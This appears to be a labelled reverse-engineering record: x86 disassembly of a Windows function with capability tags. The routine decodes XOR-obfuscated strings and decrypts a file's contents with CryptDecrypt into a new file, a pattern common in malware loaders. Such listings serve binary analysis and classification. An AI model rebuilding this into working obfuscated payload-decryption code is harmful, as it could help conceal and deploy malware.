Function at 0x10014820
Capabilities:
Encode data using xor
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [0x100b7040]
xor eax, esp
mov dword [esp + 0x50], eax
cmp dword [ecx + 0x18], 0x10
lea edx, [ecx + 4]
push ebx
push esi
push edi
jb 0x10014842
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10014847
sub ecx, esi
push ecx
push edx
mov ecx, 0x100b8f20
call fcn.100057d0
mov esi, dword [0x100b8f30]
mov edi, dword [0x100b8f34]
test esi, esi
je 0x10014b29
call fcn.10013890
test al, al
jne 0x10014b29
mov ah, 0x7a
mov byte [esp + 0x11], 0
mov dl, 9
mov byte [esp + 0xc], ah
xor dl, ah
mov byte [esp + 0x11], 0
mov cl, 0x1e
mov byte [esp + 0xf], dl
mov al, 0x54
lea edx, [esp + 0xd]
xor cl, ah
mov bl, 0xe
xor al, ah
mov byte [esp + 0xe], cl
xor bl, ah
mov byte [esp + 0xd], al
mov byte [esp + 0x10], bl
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x100148b4
mov ebx, dword [0x100b8f20]
lea eax, [esp + 0xd]
sub edx, ecx
cmp edi, 0xf
push edx
mov ecx, 0x100b8f20
mov edx, esi
cmova ecx, ebx
push eax
push ecx
call fcn.10013730
add esp, 0xc
cmp eax, 0xffffffff
je 0x10014b2f
movaps xmm0, xmmword [0x100af9f0]
xor ecx, ecx
push dword [0x100baa08]
movups xmmword [esp + 0x1c], xmm0
mov dword [esp + 0x2c], 0x1e1d1d4c
mov dword [esp + 0x30], 0x3490872
mov dword [esp + 0x34], 0x59594a
mov al, byte [esp + 0x1c]
xor byte [esp + ecx + 0x1d], al
inc ecx
cmp ecx, 0x1a
jb 0x10014914
sub esp, 0x18
mov byte [esp + 0x4f], 0
mov edx, esp
lea ecx, [esp + 0x35]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10014947
sub ecx, esi
lea eax, [esp + 0x35]
push ecx
push eax
mov ecx, edx
call fcn.10002580
lea eax, [esp + 0x50]
push eax
call fcn.1000a310
add esp, 0x20
mov ecx, 0x100bae18
push eax
call fcn.10005130
mov ecx, dword [esp + 0x48]
cmp ecx, 0xf
jbe 0x100149ab
mov edx, dword [esp + 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100149a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10014b58
push ecx
push edx
call fcn.100810d6
add esp, 8
cmp dword [0x100b8f34], 0xf
mov eax, 0x100b8f20
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
cmova eax, dword [0x100b8f20]
push 0
push 0x80
push 3
push 0
push 3
push connect
push eax
call esi
cmp dword [0x100bae2c], 0xf
mov ecx, 0x100bae18
push 0
cmova ecx, dword [0x100bae18]
mov edi, eax
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x28], edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp edi, 0xffffffff
je 0x10014b0d
cmp ebx, 0xffffffff
je 0x10014b09
lea eax, [esp + 0x50]
xor bl, bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor esi, esi
or esi, dword [esp + 0x50]
not esi
and esi, 1
add esi, 0x1f
push esi
call fcn.10088f12
mov edi, eax
add esp, 4
test edi, edi
je 0x10014afb
push 0
lea eax, [esp + 0x50]
push eax
push 4
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10014a82
push 0
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x54]
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
push edi
call fcn.100831e0
add esp, 0xc
mov dword [esp + 0x4c], 0
push 0
lea eax, [esp + 0x50]
push eax
push esi
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10014aee
cmp dword [esp + 0x4c], esi
mov eax, 1
movzx ebx, bl
cmovb ebx, eax
lea eax, [esp + 0x4c]
push eax
push edi
push 0
push 1
push 0
push dword [0x100baa0c]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10014aee
push 0
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x54]
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test bl, bl
je 0x10014a96
push edi
call fcn.10086881
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0x14]
test edi, edi
je 0x10014b10
push edi
call esi
test ebx, ebx
je 0x10014b46
push ebx
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.10081075
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x100b8f20]
cmp edi, 0xf
mov eax, 0x100b8f20
push esi
cmova eax, ebx
mov ecx, 0x100bae18
push eax
call fcn.100057d0
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10081075
mov esp, ebp
pop ebp
ret
call fcn.1008626f
int3